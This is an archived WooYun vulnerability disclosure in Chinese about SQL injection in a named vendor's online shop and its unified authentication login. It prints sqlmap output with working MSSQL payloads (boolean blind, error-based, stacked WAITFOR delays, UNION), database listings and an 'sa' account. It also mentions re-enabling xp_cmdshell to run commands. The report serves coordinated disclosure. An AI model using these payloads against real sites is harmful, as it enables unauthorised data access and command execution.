乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-12: 细节已通知厂商并且等待厂商处理中 2015-10-12: 厂商已经确认,细节仅向厂商公开 2015-10-22: 细节向核心白帽子及相关领域专家公开 2015-11-01: 细节向普通白帽子公开 2015-11-11: 细节向实习白帽子公开 2015-11-26: 细节向公众公开
mssql注入sa权限可执行命令
先看你们的商城http://shop.kingsun.cn/到处都是注入,而且还爆错
必须全部好好检查检查统一认证那里也有一个注入...这个就有点严重了
正常
错误明显的bool型盲注
sqlmap resumed the following injection point(s) from stored session:---Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=admin' AND 4194=4194 AND 'IjGI'='IjGI Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: username=admin';WAITFOR DELAY '0:0:5'-----web server operating system: Windows 2008 R2 or 7web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5back-end DBMS: Microsoft SQL Server 2008current user: 'sa'
xpcmdshell貌似没有不过可以用sqlmap重新开一个,可以执行命令
uums那里的数据库如下[*] FZ_SyncResourceDB[*] FZStudyAssistant[*] fzweixin[*] master[*] MOD_FZUUMSNEW[*] MOD_SMSPlatform[*] model[*] msdb[*] StudyManager[*] tempdb
shop的
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:---Parameter: key (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: key=a%' AND 4781=4781 AND '%'=' Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: key=a%' AND 3776=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (3776=3776) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(118)+CHAR(113))) AND '%'=' Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: key=a%';WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind (comment) Payload: key=a%' WAITFOR DELAY '0:0:5'-- Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: key=a%' UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(71)+CHAR(107)+CHAR(112)+CHAR(81)+CHAR(75)+CHAR(118)+CHAR(89)+CHAR(78)+CHAR(112)+CHAR(89)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(118)+CHAR(113)-- ---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2005available databases [15]:[*] dnt3[*] Familiy[*] fzadv[*] FZAgentDB[*] FZCMS[*] fzgsc[*] gamepark[*] kingsundb[*] KSResource[*] ksshop2[*] master[*] model[*] msdb[*] tempdb[*] web_Date
未进一步渗透
过滤,转义等。好好检查一下代码。
危害等级:高
漏洞Rank:10
确认时间:2015-10-12 19:04
正在检查和修复!
暂无